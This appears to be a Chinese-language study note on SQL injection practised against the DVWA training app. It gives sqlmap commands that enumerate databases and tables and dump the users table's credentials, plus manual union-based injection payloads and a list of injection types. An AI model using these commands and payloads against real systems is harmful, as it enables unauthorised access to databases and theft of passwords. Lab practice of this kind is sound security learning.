SQLmap#
使用環境:DVWA
在 User ID:隨意輸入數字
由 brupSuite 攔截到,可獲得
全部選中,複製到 sqlmap 根目錄,新建個.txt 文件
然後在 CMD 中運行 sqlmap:
py .\sqlmap.py -r .\sql.txt
這裡 sqlmap 掃出了 php 版本、Nginx 版本以及所用數據庫及版本
再使用
py .\sqlmap.py -r .\sql.txt --dbs
掃出了其中包含的數據庫和四種類型的注入漏洞
(布爾盲注、報錯注入、延時注入、聯合查詢注入)
輸入
py .\sqlmap.py -r .\sql.txt -D dvwa --tables
查詢到 dvwa 數據庫下,含有的數據表
py .\sqlmap.py -r .\sql.txt -D dvwa -T users --columns
查看 users 表中的字段,看到有 user、password
py .\sqlmap.py -r .\sql.txt -D dvwa -T users -C user,password --dump
掃出 user 和 password 的數據
SQL 注入#
sql 注入的核心
將用戶輸入的數據拼接到代碼中,並被當成 sql 語句執行。
SQL 注入類型:
聯合注入:在最後拼接 union select
布爾注入:看網頁顯示是否正常
延時注入:利用 sleep () 方法看數據庫是否執行
報錯注入:利用數據庫的錯誤回顯獲取數據
寬字節注入:寫入大量辣雞字符
堆疊注入:利用分號來拼接多條語句
基礎步驟:
判斷注入點
id=1 and 1=2
判斷字段數
id=1 order by 1
判斷回顯點
id=1 and 1=2 union select 1,2,3
查詢相關內容
id=1 and 1=2 union select 1,database(),3